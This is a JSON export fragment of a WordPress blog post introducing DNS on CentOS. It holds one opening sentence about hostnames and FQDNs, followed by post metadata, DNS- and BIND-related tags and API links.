About DNS When hosts on a network connect to one another via a hostname, also called a fully qualified domain name (FQDN), DNS is used to associate the names.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,9],"tags":[485,500,567,491,484,125,492,60,506,204,495,229,62,105,505,497,223,498,508,499,504,503,301,483,494,493,502,488,481,490,486,489,96,507,496,501,150,487],"class_list":["post-3","post","type-post","status-publish","format-standard","hentry","category-centos","category-linux","tag-bind-9","tag-bob","tag-centos","tag-centos-5","tag-centralized-servers","tag-client","tag-client-host","tag-com","tag-custom","tag-dns","tag-dns-server","tag-dns-servers","tag-download","tag-file","tag-flexibility","tag-fqdn","tag-host","tag-hostname","tag-information","tag-ip-address","tag-localhost","tag-lookup","tag-mail","tag-nameserver-configuration","tag-namespace","tag-namespaces","tag-package","tag-port-53","tag-queries","tag-resolution-services","tag-resolver-library","tag-reverse-lookup","tag-root","tag-size","tag-system-administrators","tag-transaction","tag-type","tag-zone-records"],"_links":{"self":[{"href":"https:\/\/blog.syshalt.net\/index.php\/wp-json\/wp\/v2\/posts\/3","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.syshalt.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.syshalt.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.syshalt.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.syshalt.net\/index.php\/wp-json\/wp\/v2\/comments?post=3"}],"version-history":[{"count":24,"href":"https:\/\/blog.syshalt.net\/index.php\/wp-json\/wp\/v2\/posts\/3\/revisions"}],"predecessor-version":[{"id":377,"href":"https:\/\/blog.syshalt.net\/index.php\/wp-json\/wp\/v2\/posts\/3\/revisions\/377"}],"wp:attachment":[{"href":"https:\/\/blog.syshalt.net\/index.php\/wp-json\/wp\/v2\/media?parent=3"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.syshalt.net\/index.php\/wp-json\/wp\/v2\/categories?post=3"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.syshalt.net\/index.php\/wp-json\/wp\/v2\/tags?post=3"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}